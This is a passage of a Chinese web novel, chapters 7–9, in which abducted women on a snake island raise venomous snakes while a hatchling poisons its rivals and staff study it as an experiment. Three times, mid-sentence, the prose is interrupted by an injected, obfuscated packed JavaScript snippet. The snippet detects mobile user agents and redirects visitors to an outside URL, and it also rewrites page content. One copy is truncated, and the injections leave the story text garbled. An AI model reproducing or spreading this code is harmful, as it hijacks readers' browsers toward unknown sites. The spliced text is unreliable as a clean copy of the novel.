秦玉：“？” 秦玉听得两眼发懵，又两眼发光。 果然人家是在见世面，只有她是在熟悉环境克服心理恐惧…… “那两条蛇没死。”平月偏头，想知道林雪的态度。 她说的是一条被摔下楼替换掉肝脏的蛇，一条是被她投毒的蛇。 两条蛇，都活着。 “你该庆幸没死，否则……” 林雪露出诡异的笑容。 “——你的晚餐，就是生吃它的尸体。” 7. 第 7 章 生吃……尸体…… 秦玉被吓到了，朝平月靠近，腿刚挪一步就发麻，又痛又麻，她从没走过这么多路，走了整整三个小时，嘴巴都走渴了。 她盘腿坐地上，佣人端水来时多拿了一个水杯，她用那个水杯倒一杯白开水喝，喝了两大杯，解了渴，忽然没那么吓了。林雪伸手捉住网纹蟒，盘在手臂上玩它的头。 网纹蟒没咬她，反而很温驯，立着脖颈不动。秦玉也想学她那样，这又是一个培养默契的方法，可一看见笼子里的猪鼻蛇，它是纯珊瑚色的，一条珊瑚色，像烧好的肉，窝在笼子里，尾巴长长地伸着，看起来很肉。 一条黏糊糊的肉…… 脑海里稍微想想那种触感，秦玉就打消了盘它的念头。 太……恶心了…… 她都不怎么吃肉，那种肥肥软软黏黏的肉，会让她犯恶心。 秦玉转过头，不去看猪鼻蛇，而是注视平月，很好奇地问：“你不害怕吗？” 在那么多蛇里行走、观察，她没见她怕过，一直都超冷淡。 平月伸出手，掌心盖在她扒着躺椅的手背，秦玉感受到了，冷汗，冰凉的。 她出了冷汗。 她在害怕。 这个举动让秦玉安心，原来她们是一样的，都在害怕，不是她一个人那么软弱，怕蛇的不止她一个人。 隔着这层汗水，秦玉找到了新的希望。 “我越冷静，越害怕。”平月收回手，两手交叠在腹部，躺得很安详。 越冷静，越害怕，越害怕，越冷静。 秦玉的新希望在这一句话里明确了：再害怕也要冷静，她要冷静地走出这里，回家去！ “你别害怕。”秦玉以为她这样安详的躺姿是因为更害怕，她抱住她凉凉的手，“我们一起回家。” 她觉得自己现在比平月勇敢，她没那么害怕了。 林雪似笑非笑地发出一点气音。 那是嘲讽，秦玉知道，这个人一直瞧不起自己，平月能和林雪好，说明林雪本人不坏的，只是眼睛长得高，爱瞧不起人。 她和这种人玩不到一块，就装作没听见，把脸偏向另一边，不看她，只盯着平月瞧。 平月长得很好看，在好看的基础上还很耐看，第一眼觉得好看，越看越好看。 长眉冷清清，单单看她一眼觉得她是性子冷淡、疏远不好相处的人，秦玉虽然没和她说过几句话，却觉得平月比谁都好相处。 和她相处，她只干正事，不干废事，让人充实。 平月睡不着，蛇太吵了，到处都是嘶嘶声，还有女生的说话声，有人在哭，有人在抗拒蛇，有人试图寻找朋友帮忙训蛇……嘈杂、混乱。 她开始梳理现状：被迫养一条蛇，叫美丽鼠蛇，品种不纯，有毒，毒液能毒死一条成年蛇的概率在80%左右，等它长大，毒死的概率也在增长。 离开的出路：没有。 她是7月28日晚上十点失踪，8月8日早上在这里醒来，中间隔了12天，假设这12天是酒店到这里的路程，那么她现在在国外非常偏僻遥远的岛上，她隐隐约约记得自己坐过船，让她想吐。 离开的方案有一个：一把火烧掉这里。 但会面临几个问题：怎么下山？怎么过海？港口有没有游戏方的人？怎么回国？警局有没有游戏方的人？她们离开后会不会再次被送回来？ 安全到家的概率为1%。 这个方案不可行。 另一个方案：按照游戏规则进行游戏，等待时机逃离。 这个时机在什么时候？在哪里？未知。游戏的难度是否越来越离谱？ 很多未知，但这个方案的成功率是50%。 只要她在游戏里不死，她就有机会离开。 要么死，要么离开，不到万不得已，她不会放火烧山解决，她很有耐心。 非常有耐心。 她的耐心足够支撑她等到最佳时机。 思路理顺了，目标路线敲定了，平月变得非常祥和，能心平气和接收任何杂音。 她放空自己，躺在躺椅上，像躺在水面，抗衡了地心引力，很轻松。 忽然，她被推了一下。 平月睁开眼，看过去的第一眼非常冷漠。 秦玉只是小小地晃了晃她的手，没想到她的反应这么大，看来她睡觉都在害怕，秦玉庆幸自己没有跟林雪去吃饭，林雪去吃晚饭时，她很饿，但犹豫了，她觉得把平月一个人放在这里不安全。 现在，她饿得受不了了，水果吃完了。 “吃……饭吗？”秦玉小声问她，“七点了。” 落地窗外一片漆黑，能见度不超过两米。 平月静静看了一会儿，站起来，提起笼子，“走吧。” 林雪的话还是在平月心里留下了重重的阴影，晚饭她没点肉，只点了两道蔬菜，吃完了觉得不行，没吃饱，她得储存热能，又点了一盆干锅虾和卤鸡腿，这种能一眼分辨的肉总不可能是蛇肉做的。 虾是完整的虾，鸡腿是完整的鸡腿，很好吃。 她全吃完，又拿盘子去装水果，装饼干。 饼干这种能储存的东西，她装很多，如果林雪说的是真的，她们可能面临没有食物的一天，那从今天起开始囤粮，有备无患。 秦玉没有吃夜宵的习惯，更震撼她的胃口这么大，吃了那么多饭还要装饼干回去当夜宵。 一开始她只是看平月装，后来她想，自己在半夜三更饿了渴了要一个人从三楼下来喝水吗？太不现实了，让她半夜三更从蛇群里下来，还不如渴死她。 她也跟着装，拿两块小饼干，装1L的水。 大厅的灯熄了，佣人在点油灯，用打火器，一盏一盏地掀开油灯盖子点燃，再盖回去，黄豆大的火苗晕出不大一点光晕，整个房子阴暗暗的。 那些蛇趴在昏暗里，嘶嘶吐蛇信，仿佛下一秒就会从哪个刁钻的角度飞出来咬人。 秦玉的房间在平月前面，相当于平月送她回房，她想送平月回去的，她觉得自己胆子比平月大一点，又有佣人在点灯，她可以送平月回去再回来，可平月不让，说自己能回去。 她就扒在房间门口，望着平月一步步走回自己房间，推开门，进去，直到房间门关上，秦玉才回房间。 她先把笼子放进浴室，又怕猪鼻蛇从门缝钻出来，她提出来，放在窗边的桌上。 一个很显眼的位置，离床有点距离，她躺在床上可以看见笼子，如果猪鼻蛇钻出来，她有时间……用衣架吗？对，先用衣架吓唬它，把它驱赶回笼子，它不回去，就拿衣服兜住，塞回去！ 想好了办法，她用非常快的速度洗漱完，躺到床上，直勾勾盯着笼子。 卧室灯亮，把笼子里的蛇照得格外清晰，她能看见猪鼻蛇的蛇鳞，珊瑚色的一片一片，仔细看，才发现它尾巴下面的颜色很浅，浅珊瑚。 啪！ 它拍了一下尾巴，把秦玉吓得从床上弹了起来，伸手抓住枕头上的衣架，两个，一手一个。 浅珊瑚接近猪肉白的尾巴蠕动，秦玉寒毛都炸了起来，比蜈蚣虫爬上床还让人发毛。 她匆忙把灯关了，留一个床头灯，屋里昏昏暗，这样看着就看不清了，她稍稍松一口气，倒在床上，面对蛇笼。 看不清蛇的好处是：不怕了。 看不清蛇的坏处是：看不见蛇了，万一蛇钻出来，她也不知道。 她又爬起来，从衣柜找一件宽大的睡裙，围着笼子裹两圈，领口和笼子把手缠死，怕蛇憋死，她又用剪刀戳几个小洞。 坐到床上，再看那个包裹厚厚的笼子，顿时安全感满满，她躺下，长长呼出一口气。 没了害怕，没了紧张，没了胆战心惊，在这张陌生的床上，秦玉开始想家了，想妈妈，想爸爸，想外婆外公，舅舅舅妈，想同学，想朋友，想所有人，想自己认识的每一个人。 想他们在干什么，想他们知不知道自己失踪了，想他们有没有报警，想他们什么时候能找到自己，想平月…… 她在干嘛，是不是睡了，还是在吃小饼干。 平月没吃小饼干，她把小饼干装进防水袋，放在抽屉里，这是储备粮，她用马克笔在防水袋上写日期，如果吃到这些饼干，得按照日期先后顺序吃，尽可能让小饼干保存得更久。 水池的水空了，金属块竖立，露出黑洞洞的下水管。 证据确凿，水管里有蛇。 平月摸了摸手臂上的鸡皮疙瘩，在洗手不洗手之间选择了把笼子提过来，坐在洗手台上。 坐得用力，小蛇被震醒了，它张开小小的嘴，打个大大的哈欠，露出水粉色的口腔。 闻到熟悉的气息，它摆着尾巴靠过来，隔着笼子，去贴平月的手。 “我们是伙伴，”平月弹着笼子告诉它，“从今儿起，你姓平，名字自个儿想，现在开始，这儿是我们睡觉的地方，你的地盘出现了别的蛇，你的目的是要把它们赶出去。” 为了照顾它没发育完整的思维，平月条理清晰地安排。 “伙伴，守家开始了。” 熟悉的声音，恶毒的语气，平蛇一下子清醒了——这个恶毒的人类！ 它弹尾而起，就要朝她喷唾液。 平月早有预料地左走两步，“啪”地一下关上浴室门，用毛巾把门缝堵死，窗户关死，马桶盖死。 她检查蓬蓬头的洞，很细小，放出的水花均匀，没蛇。 安心地洗热水澡。 热水澡是人类的灵魂安抚剂，水从头顶流下去，舒服得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483265|201871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长叹气。 她暖洋洋地洗了大半天，裹着毛巾出去，那条蛇趴在笼子里无聊地玩尾巴。 平月站在那儿擦头发，它伸出蛇信探了一下，又探一下，再探一下。 香。 颊窝密集地收缩。 好香。 “嘶嘶！” 饿了。 “嘶嘶！” “名字想好了？”平月抖抖毛巾，扔进脏衣服兜。 “嘶嘶！” “嘶嘶？”平月学了一嘴，没学懂。 “嘶嘶！” 愚蠢的人类。 “能不能换一个？我一叫你嘶嘶，我就会想起你是蛇。”现在它是幼崽，不怕它，等它长大了，变成一米长、两米长……别说两米长，就是1.5米长，也足够吓住她了。 想想每天早晨一睁眼，卧室里有条1.5米长的蛇，名字叫嘶嘶，它张嘴嘶嘶，她也张嘴嘶嘶…… 神一样的场景。 “嘶嘶！” “嘶嘶嘶嘶嘶嘶嘶嘶！” “很喜欢？”平月皱眉，好半天，她妥协了，幼崽有选择名字的权利，“你叫司司。” “平司司还是平司？平司司你叫三声，平司你叫两声，” “嘶嘶！” 我饿！ 恶毒！要饿死它！ 平司司凶凶地瞪她。 “好司司，今晚看家哦，明早带你吃饭。”平月对它微微一笑，转身走出去，“嘭”地关上门，把门缝塞死。 平司司呆住，平司司怔愣，平司司暴跳而起——嘭！撞到笼子顶部。 它晕晕地趴下了，眼睛红红的，一副被抛弃的可怜模样，尾巴卷半个圈，可怜又愤怒地晕着。 恶毒，恶毒，恶毒，恶毒，恶毒，恶毒，恶毒，恶毒，恶毒，恶毒恶毒恶毒恶毒恶毒恶毒恶毒恶毒恶毒恶毒恶毒！ 恶毒得快要睡着了。 半睡半醒时，水龙头传来“嘶”的一声。 平司司把脖子扭半圈，对着水龙头，那里有颗灰色的脑袋，它探出来，对平司司嘶了一声，接着，跳进白瓷盆里，仰头：“嘶嘶！” 一个安全信号，呼叫它的伙伴们快来。 “嘶嘶嘶嘶嘶嘶嘶嘶！” 这里有个小傻瓜，被关起来了！ “嘶嘶！” 水龙头掉下来许多蛇，一条一条，都是幼蛇，细细小小的，挤满白瓷盆，它们望着它，一起嘻嘻笑。 它们是自由的，可以钻到这里来，钻到那里去，只有它，被关起来，被人类关起来了。 傻瓜！ 小傻瓜！ 小傻瓜盯着它们，呆呆的，做不出回应。 小傻瓜连嘶嘶都不会！ 嘶嘶！ 它们笑了一阵，不好玩，熟练地翻转金属块堵住出水口，有蛇爬上去，拧开水龙头。 哗啦啦，水放满整整一盆，它们在水里游来游去，摆来摆去，缠来缠去，尾巴拍出水花，溅到平司司身上，冰凉的。 平司司抖抖尾巴，把身体翻个面。 “嘶嘶嘶！” 它怕了！ “嘶嘶！” 嘻嘻！ 翻了面的平司司就是一条侧立的宽面条，扁扁的，薄薄一张纸一样。 它摆动尾巴，不熟练地侧着身，朝笼子缝隙蛄蛹，像一张纸穿透缝隙，轻轻松松从缝隙穿了出去。 水里的幼崽子们懵了。 “嘶嘶！” 哇哦！ “它会侧着爬！” “好厉害！” 平司司龇开獠牙，阴恻恻地笑一声。 “嘶！” 一口毒液喷进水池里。 透明毒液和透明水相融，淹没它们。 咕噜咕噜！ 一条蛇吐出泡泡。 两条蛇吐出泡泡。 三条蛇吐出泡泡。 咕噜咕噜。 像烧开的水，咕噜咕噜，被烧开的蛇翻个肚子，咕噜着没了命。 有蛇吓住了，拼命想跑，蛇挤蛇，蛇缠蛇，一个往东跑，一个往西跑，一个往南跑，一个往北跑，几条尾巴缠在一起，噗咚，还没爬上池子又互相交缠着掉在水里。 咕噜。 呛住了水。 咕噜。 蛇吐出白泡泡。 咕噜。 满盆的白泡泡。 泡泡越来越多，越来越挤，吵闹了一会儿，渐渐的，像熄了火的热水锅，没火了泡泡就平复下去，慢慢的，水也凉了。 没有泡泡声，也没有咕噜声，更没有嘶嘶声。 安安静静。 全死了。 平司司站在洗手台上，歪头，龇牙。 “嘻——” 8. 第 8 章 蛇信子在空中舔了一下，感知幼崽的味道：臭。 肉少皮臭。 不想吃，平司司嫌弃地关闭颊窝，侧身爬回笼子。 尾巴盘起来，心脏放在中间，脖子盖在上面，脑袋耷拉，准备睡觉。 睡着就不饿了。 睡不着，它把脑袋歪到左边还是睡不着，脑袋立起来也睡不着，尾巴换个方向盘依旧睡不着，尾巴直直拉伸，睡不着就是睡不着。 它长条条地趴在那里，双眼无神地发呆。 水池里的尸体在发臭，绵绵不绝，越臭越浓，笼子就在水池台上，离得这样近，臭得它完全睡不着。 它凶狠龇牙，可那池子蛇全死了，没蛇害怕它了，它龇了个空气。 平司司又把自己侧起来，尝试侧躺睡觉，还是睡不着，臭得脑袋晕。它就侧着爬出去，爬到台面，把身体摆正，顺着镜子爬上墙，爬到窗口，窗户开着一指的缝。 它爬出去，在漆黑的夜色里爆出召唤：“嘶——” 趴在外墙上的蛇扭头感知它，长长的蛇信伸过来，觉得它太小了，直接爬远。 “嘶嘶嘶嘶嘶！” 平司司又叫了一声。 这一次，二十几条成年蛇出现在四面八方，气势汹汹爬来，平司司坐在窗台角落，冲它们说：“里面。” 饭在里面。 那二十几条蛇就像饿死鬼，在墙上爬出了竞赛的气势，争先恐后撞开窗户，跳进去。 眨眼的功夫，最先跳进去的蛇又跳出来，逆着蛇流，匆匆而跑。 其中有条眼镜蛇，凶狠地冲平司司吼了一声，发泄被欺骗的愤怒。 平司司吐着蛇信子瞪回去，眼镜蛇飞起尾巴就要扑过来咬死它，旁边一条蛇尾巴拍了眼镜蛇一下，嘶嘶让它不要和小孩儿计较。眼镜蛇愤愤不平地半路转道爬远了。 “死了！臭了！别进来了！”有蛇嘶嘶叫，给后面的蛇群们打信号。 早已有蛇见情势不对掉头跑了，前面进去那么多蛇，再多的饭也不够分，它们在后头，爬得慢，赶过去就算不臭也没得吃。 陆陆续续，屋里的蛇爬出来，外面的蛇散开，只有一条黄金蟒，它爬得慢，这会儿刚爬到窗台边缘，还没上台，感知到同伴们都在离开，它不想离开，它想进去亲自看看。 别蛇都在往外爬，就它往里爬。 有蛇说：“臭啦，别进去啦，懒得爬。” 黄金蟒就要进去。 它先把脑袋探进去，尾巴吊在墙上，像一根面条，从屋里晾到外面，只是这根面条很粗，娃哈哈瓶子那么粗，三米长。 它频繁吐出蛇信，从空中收集气味，确实死了、臭了。 蛇不喜欢吃死的，它们喜欢捕捉活物，新鲜，也喜欢吃佣人给的蛇餐，很美味。 万一那群死蛇里有假死的活蛇呢？ 黄金蟒抱着万分之0.001的希望，爬进去，沿着墙壁滑到洗手台上，尾巴在满池尸体里挑了挑，都死了，毒死的。 好厉害的毒，一下子毒死一百条蛇。 它刷地收回尾巴，就要离开。 “嘭”地闷响，窗户被关上了，平司司扣上锁扣，吐出一个命令：“吃！” 不好吃！ 黄金蟒不吃毒死的蛇，不吃发臭的死蛇。 它往窗口爬，平司司不让它，龇开毒牙，威胁它：“吃掉！” 不吃！ 黄金蟒拒绝，挺起脖子越过平司司，去撞窗，撞的时候它拿尾巴护住自己的心脏，身体摆到另一边，和平司司拉开安全距离。 谁想，平司司速度极快，“啪叽”一下跳到它的背上，小尾巴转个圈，绕到它肚子，张嘴就是一口。 “吃掉。” 不吃。 黄金蟒抗拒，疯狂抖动身体，想把它甩下去，尾巴尖去戳它，戳不到，它太小了，绞都绞不到。 平司司分泌毒液，分泌空了，它刚才把毒液吐池子里了，这会儿分泌不出来。 它刚出生，还没半岁，毒腺小，一次存不住多少毒，用完就没了，也没办法像成年蛇那样一会儿就能分泌出第二次毒液。 这是第一次分泌不出毒液，平司司懵了一下，接着，它凶狠地咬了一口，狠狠威胁它：“吃掉！” “嗷呜”一声痛叫，黄金蟒扫翻了笼子，整条蛇摔在地上打滚，想压死平司司，平司司躲到水杯里，继续威胁它。 肚子疼，没想到一条小小的幼崽下嘴那么狠，黄金蟒拿尾巴揉了揉肚子，蹭蹭逃跑。 这是条恶毒的蛇，身体太瘦小了，绞不死，黄金蟒是靠绞杀杀死动物，一旦绞不死它，对方就能把它咬死。 平司司在后头追它，它还不怎么会爬，一会儿蜿蜒一会儿飞射，而黄金蟒很会爬，但这地方太窄了，它的尾巴太长了，平司司一个飞射咬住它的尾巴就是狠狠一口。 咬完了松开，黄金蟒趁机往前蜿蜒一大步，它的爬行速度慢，刚拉开一个距离，又被咬了一口。 再拉开距离，再被咬一口。 虽然咬不穿，但它的是毒牙，指不定哪会儿就分泌出毒液，而且一会儿一口一会儿一口，就是咬块木头，木头也开始疼了！ 黄金蟒疯狂爬，平司司疯狂追，追上了就咬，咬上了再追，追上了再咬。 两条蛇在洗手间、浴室的地面、墙上、天花板来回爬窜一百圈，再一次爬到天花板时，黄金蟒一低头，看见了希望——马桶！ “嘭”地一下，它掉进马桶，准备从下水口逃走。 它不想变得千疮百孔，它不想顶着一身的牙齿印出去，那是条毒蛇，牙尖利齿，咬不动它的蛇鳞，就挑它的软肚子咬，它的肚子肉被咬出好几十个浅洞，密密麻麻，幸好黄金蟒长得肥，肉厚，而平司司年幼，牙齿短，只是咬出洞，还不足以见血，但这些洞也够黄金蟒疼得打滚了！ 痛死了！ 脑袋刚钻进下水孔，脖子怂进去，还没来得及把肚子蠕进去，尾巴又被叼住了。 马桶的下水口有点小，黄金蟒有点肥，需要花点时间和力气才能把自己送进去，就在它用力的时候，那条恶毒的蛇，叼住它的尾巴，从尾巴咬到它的肝脏，阴恻恻地嘶嘶笑—— “我有毒液了。” “！！！！！” 黄金蟒不相信，它一条幼崽怎么可能那么快分泌出毒液！但它知道，毒蛇的毒腺会储存足够多的毒液，每次攻击只会排出很少的一部分，毒蛇不会让自己的毒腺空扁，黄金蟒怀疑它是追累了，不想追了，想真真切切用毒死它威胁它！ “我……真不想吃……” “吃掉，出去吐！” 它又不是垃圾桶！黄金蟒扭曲。 尾巴上的毒牙陷得更深了，黄金蟒被迫认命：“嘶嘶……”心里牢牢记下了这笔仇，等这条毒蛇再长大点，它一定绞死它！ 黄金蟒把脖子退出来，脑袋退出来，幽怨地伸出蛇信子，慢吞吞，蚂蚁搬家那样，一点一点朝洗手池蜿蜒。 再慢也抵不住这个地方就这么大，磨磨蹭蹭到了水池边，它立在那里，对着发臭的尸体痛苦半响，回头看平司司，想要不要趁一个不注意再逃一次。 根本不给它机会。 平司司是个威武的杀手，毒牙在灯光里闪闪发亮，威风凛凛盯住它。 恶毒！ 黄金蟒心已死，它就不该贪吃，它就不该进来，它就应该跟它们一起跑，张大嘴，再张大，再张大，探进池子，呕—— 臭得想吐。 叼住一池子的尸体，舌头一卷，把边边角角的尸体一并卷进嘴巴，卷完了，蛇信一扫，寻找有没有漏网之鱼，扫着扫着，突然，“哗啦”一声，蛇信因为愤怒用力过猛而顶开了排水口的金属块，水哗啦流走，带走了水里的一条死蛇。 黄金蟒：“？” 明明可以排走，为什么非要它吃掉拿出去吐！ 呕！ 恶毒的傻蛇！ 它把嘴巴一关，呜呜咽咽从打开的窗户跳出去，落地快速几个蜿蜒，游出去几十米远，呕——把尸体全部吐出去。 嘴里的臭味浓郁得同伴们避它而行。 它的小伙伴问它为什么要吃死掉的蛇，它“嘶嘶”两声，不知道该从哪里说起，说它是被一条幼崽逼的吗？ 它都三岁了！ 说它身上的牙印、牙洞是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她松开手，转身出了房间，很轻柔地带上门。 平司司蜷在床上，翘起尾巴摸了摸自己的心脏，劫后余生地喷出一口气。 眼睛微微发红，它感到委屈。 它们说幼崽睁开眼看见的第一人是自己的妈妈，它睁开眼看见的第一人是这个人，但是这个人嘲讽它，说它不健康，转身就走了，抛弃它，让它和别的蛇像垃圾一样被丢进桶里，等待倒进机器处理。 那些大蛇说蛇只管生不管养，生完就走，只有极少数蛇会照顾幼崽，但如果生的崽崽不健康依旧会选择抛弃，这是很正常的事情，让它不要在意。 机器轰轰作响，一桶蛇倒进去，变成浑浊肉泥淅淅沥沥流出。 它们是被抛弃的一批蛇，可是它明明有妈妈，为什么要被抛弃？ 它跌跌撞撞从蛇群里爬出来，翻过桶边，掉在地上，那些大蛇只是摆摆尾巴，让它保护好心脏，告诉它如果被抓住了就咬死对方，要死一起死。 它长得很小，刚刚出生，掉在地上就像一根头发，藏在地面与墙壁的夹缝，来来往往的人都没发现它。 爬上楼，找到那间办公室，看见和妈妈站在一起的人类，他坐在桌后面，不知道在想什么，反正没发现它，悄悄藏在他的衣服袋里，跟着到处颠簸辗转。 好几次被丢掉，它还是给找到了，跟着那个人坐车、坐船，来到这里，可惜那个人没进来，在森林边缘就掉头走了，它的妈妈被抬上另一辆车，那辆车开太快，它追不上，从森林那里，它快快地爬，爬得肚子疼，终于找到这个人。 结果这个人隔着玻璃又嘲笑它、嫌弃它，不给它吃饭，不给它喝水。 别的小蛇都有妈妈保护，这个人睡得跟死猪一样要它保护。 呸！ 它吐她一口口水，窝在床脚，盘起尾巴护住小小的心脏，眼睛在黑暗里盯住那扇大门。 9. 第 9 章 佣人坐在医务室的椅子里，她的左眼变灰了，视野模糊。 扬医生取走眼球表面的毒液，给她清洗眼睛，注射血清，“你来迟了，这只眼睛保不住，换一颗眼珠？” 佣人摇摇头，这是一种印记，她见证了一条实验蛇的健康。 扬医生问：“哪条蛇？” 毒液已经凝成固体，果冻一样透明，她切下一角，投入仪器解析。 “3055。”佣人说，“外来蛇，Jck带来的。” 或者说，跟随Jck来的，她们接过昏睡不醒的平月时，这条蛇从Jck的西装口袋里掉到黑土上，它是黑色，瘦小的黑色，黑土也是黑色，落地几乎与土融为一体。 但她们受过特殊训练，身体各项感官比常人敏捷，按照分类划分的话，她们属于基因升级体，能轻易捕捉到细小如丝的蛇。 这是蛇的岛屿，她们欢迎远道而来的每一条蛇，包括实验蛇。 “混合毒素，神经、心脏、血循环毒素，致死率100%，仅仅0.1mg就能毒死一个成年人。”分析结果出来，“它怎么没咬你？” “被我抓住了。” “喷射排毒？” “嗯。”佣人说，“这是它第二次喷射排毒。” “可能它不会用毒牙排毒，不懂控制剂量，这里的毒液是它毒腺里的全部毒液，目前它的毒腺容量是10mg。”仅0.1mg就能毒死一个成年人，却把10mg全吐给佣人，一次吐0.1mg和10mg只有死得慢和快的区别，扬医生有些感慨它的浪费，一条幼蛇储毒时间是20——60天，这意味着它后面至少20天会没有毒液。 如果在野外，没有毒液的毒蛇就是一条随时随地会被吃掉的储备粮。 “不过这很正常，幼蛇体型小、防御弱，遇到危险时，攻击性会比成年蛇更强，会本能一次性排放全部毒液，这算是它们自我保护的一种低级手段。” 扬医生忽然顿住，扭头再看一眼凝固的毒液，冷气笼罩，储存在试管里的毒液接近透明。 “有一个猜测，我不得不说，这条蛇……它不会用毒牙排毒的原因可能是它体内有人类基因，人类幼崽在三个月大时，唾液腺逐渐发展成熟，因为口腔容量小、吞咽功能不完善而流口水，吐口水，它正在这个阶段。” 她手里只有这10mg的毒液，无法断定它是哪种情况，也无法断定它是哪批实验蛇。 “这条蛇也许来自海船，我会给那边打电话，如果我的猜测正确，他们制造的这一批实验蛇有概率成功。多关注它。”她咧嘴笑起来，露出一口白森森的牙齿，“有机会的话，给我抓来剖开看看。” 佣人一直面无表情，她的左眼彻底看不见了，视野乌灰，眼球发霉一样灰白，整个人看起来像个索命鬼，她警告扬医生：“别影响游戏。” “知道啦，别那么无情嘛，我们相处两届游戏了，还不了解我嘛？”扬医生随口问，“药效怎么样？睡着没？” 她在问平月，她们给平月的晚饭里放了新型安眠药，专为平月研制的，安眠剂已经对她无效了，她们要保证她的睡眠，让她正常进行游戏。 “睡得很好。”佣人站起身，准备离开了，她还有工作，给屋外的蛇喂食。 “帮我留意她的药物反应，副作用控制在一定范围后，可以考虑面市，这是个不错的市场。” 扬医生目送她消失在门口，脸上的笑意骤然落下，她凝视冷冻箱里的毒液，然后起身进了内室。 里面有台电脑，她打开电脑，开始整理关于3055的新资料。 …… 平月睁开眼，视线刚看清天花板，意识还没清醒，就从床上翻身坐起。 床头的数字钟显示早上八点。 一个不早不晚的时间点，也是一个诡异的时间点。 昨晚洗完澡，她躺上床，没一会儿就睡着了，一觉睡到早上八点，对于一个患有失眠症的人来说，这件事本身就很诡异，她昨晚没吃药，只有一种可能，佣人在她的饭菜和水里加了药。 太阳穴胀痛，平月揉揉太阳穴，去厕所，刚推开门，整个人僵在那里。 洗手间连着浴室一片混乱，犹如打了一场内战。水在流，用最大流速，哗啦啦，哗啦啦，打在水池，从排水口冲走，墙壁上都是水，牙刷牙膏毛巾浴刷脏衣服乱七八糟地散落，蛇笼翻在一边，笼子里没蛇了。 平月真想……算了，先找蛇。 “司司？” 浴室没有，厕所没有，洗手台的柜子里没有，她把门关上，塞门缝的毛巾横成一条线，这条线在接近墙角的地方缺了一个口，正好够平司司爬出去。 平月从那个缺口沿着卧室找，犄角旮旯到处翻，“司司。” 翻到床边，一个冰凉的东西掉到脸上，她下意识抬手挡了一下，那个冰凉的东西就顺着她的手心缠上她的小指头，缠住了，拿小脑袋拱她的手心。 “嘶嘶。” 妈妈。 黏糊得不成样，哪还有昨天凶神恶煞的模样。 平月怀疑这条蛇被偷梁换柱了。 她勾着小指头把这条蛇提起来，打量它。 这是第一次仔细看它，从蛇头到蛇尾，不放过每一寸。 瘦瘦小小的一条，尾巴缠上她的小手指，它全身最粗壮的地方才和她的小指尖尖那么大，脑袋就比大拇指指甲壳大一点点，目测20厘米长，在她的小指上绕了三圈，脑袋窝在她的手心，张着嘴打哈欠。 能看见粉嫩的口腔肉，很粉很嫩，水粉水嫩，舌头分叉小小的。 全身黑鳞片，肚子是浅灰，背部有两块白斑，显得不和谐，不知道是蜕皮蜕错了，还是这就是它的原生斑纹。 它打哈欠的时候，脖子会稍稍地扭一下，把扁扁的脖子扭成侧躺的形状，看起来很……呆。 “所以……”平月龇开恶毒的獠牙，“你为什么在我床上？” “睡觉。”平司司还有点困，含糊不清地回答，扭着脖子又想打哈欠了。 平月听不懂，拎着它到案发现场。 蛇的感知力非常强，平司司几乎是一秒感知到危险，妈妈会因为一地狼藉的厕所收拾它！ 它小心翼翼窝着脖子，蛇信子频繁地探，想感知妈妈的每一丝感情，如果她要打它，它会……立马跑掉，等待机会回来咬她！ 紧接着，它又刷地立起脖子，很硬气：这是黄金蟒弄的，和它无关，它是无辜的！ “嘶！”它硬气地叫了一声。 平月把它放回笼子里，用手捧冷水洗个脸，胡乱簌了簌口，扒开打湿的头发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483267|201871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，用纸巾擦干净脸上的水，她拿干净的纸巾打湿拧干后，飞快地往平司司身上抹了一把。 平司司有点懵，没反应过来，直到脑袋被薅了一个圈，湿毛巾顺着它的脖子绕一圈，扔进倒塌的垃圾桶，身上湿湿凉凉的，它歪了歪头，后知后觉妈妈把它洗了，虽然手法粗糙，但…… 平司司摆着尾巴游出笼子，脑袋贴上平月的衣袖，还没有缠上去，平月一把把它推回笼子，关上门，提起来，面对面，“平司司，我们约定一个规定，不准乱跑，遇到危险躲起来，躲在犄角旮旯，别躲床上和地面正中央，我怕踩死你。” 找它的时候，她都是拿眼睛丈量着地面挪动，生怕不小心把它碾死了……不行，她得想个后备方案：平司司死了，她该怎么脱险。 平司司听不懂，平司司只知道这个人的语气很严厉，是在怪它吗？可她又没有指着它骂，也没有打它，也没像以前那样笑它。 平司司歪头，两颗无机质的眼睛望着她，企图理解她的感情，它一向是靠她的动作和语气来分辨她的恶毒，这会儿却分辨不出来了。 那颗小小的头，微微扬起来，把她望着，那么无辜，那么认真，那么迷茫，平月还想说什么，一瞬间全忘了。 ……算了，先吃饭吧。 平月拎着它下楼，站在蛇餐柜前。 柜子里一排排全是蛇餐肉，各种形状，各种颜色，各种大小，大部分是组合肉，没有标注肉名，平月唯一认识的是最下面一排剖了皮的老鼠，大大小小排列整齐，有蛇叼住一只老鼠，整个吞下，脖子胀得鼓鼓的。 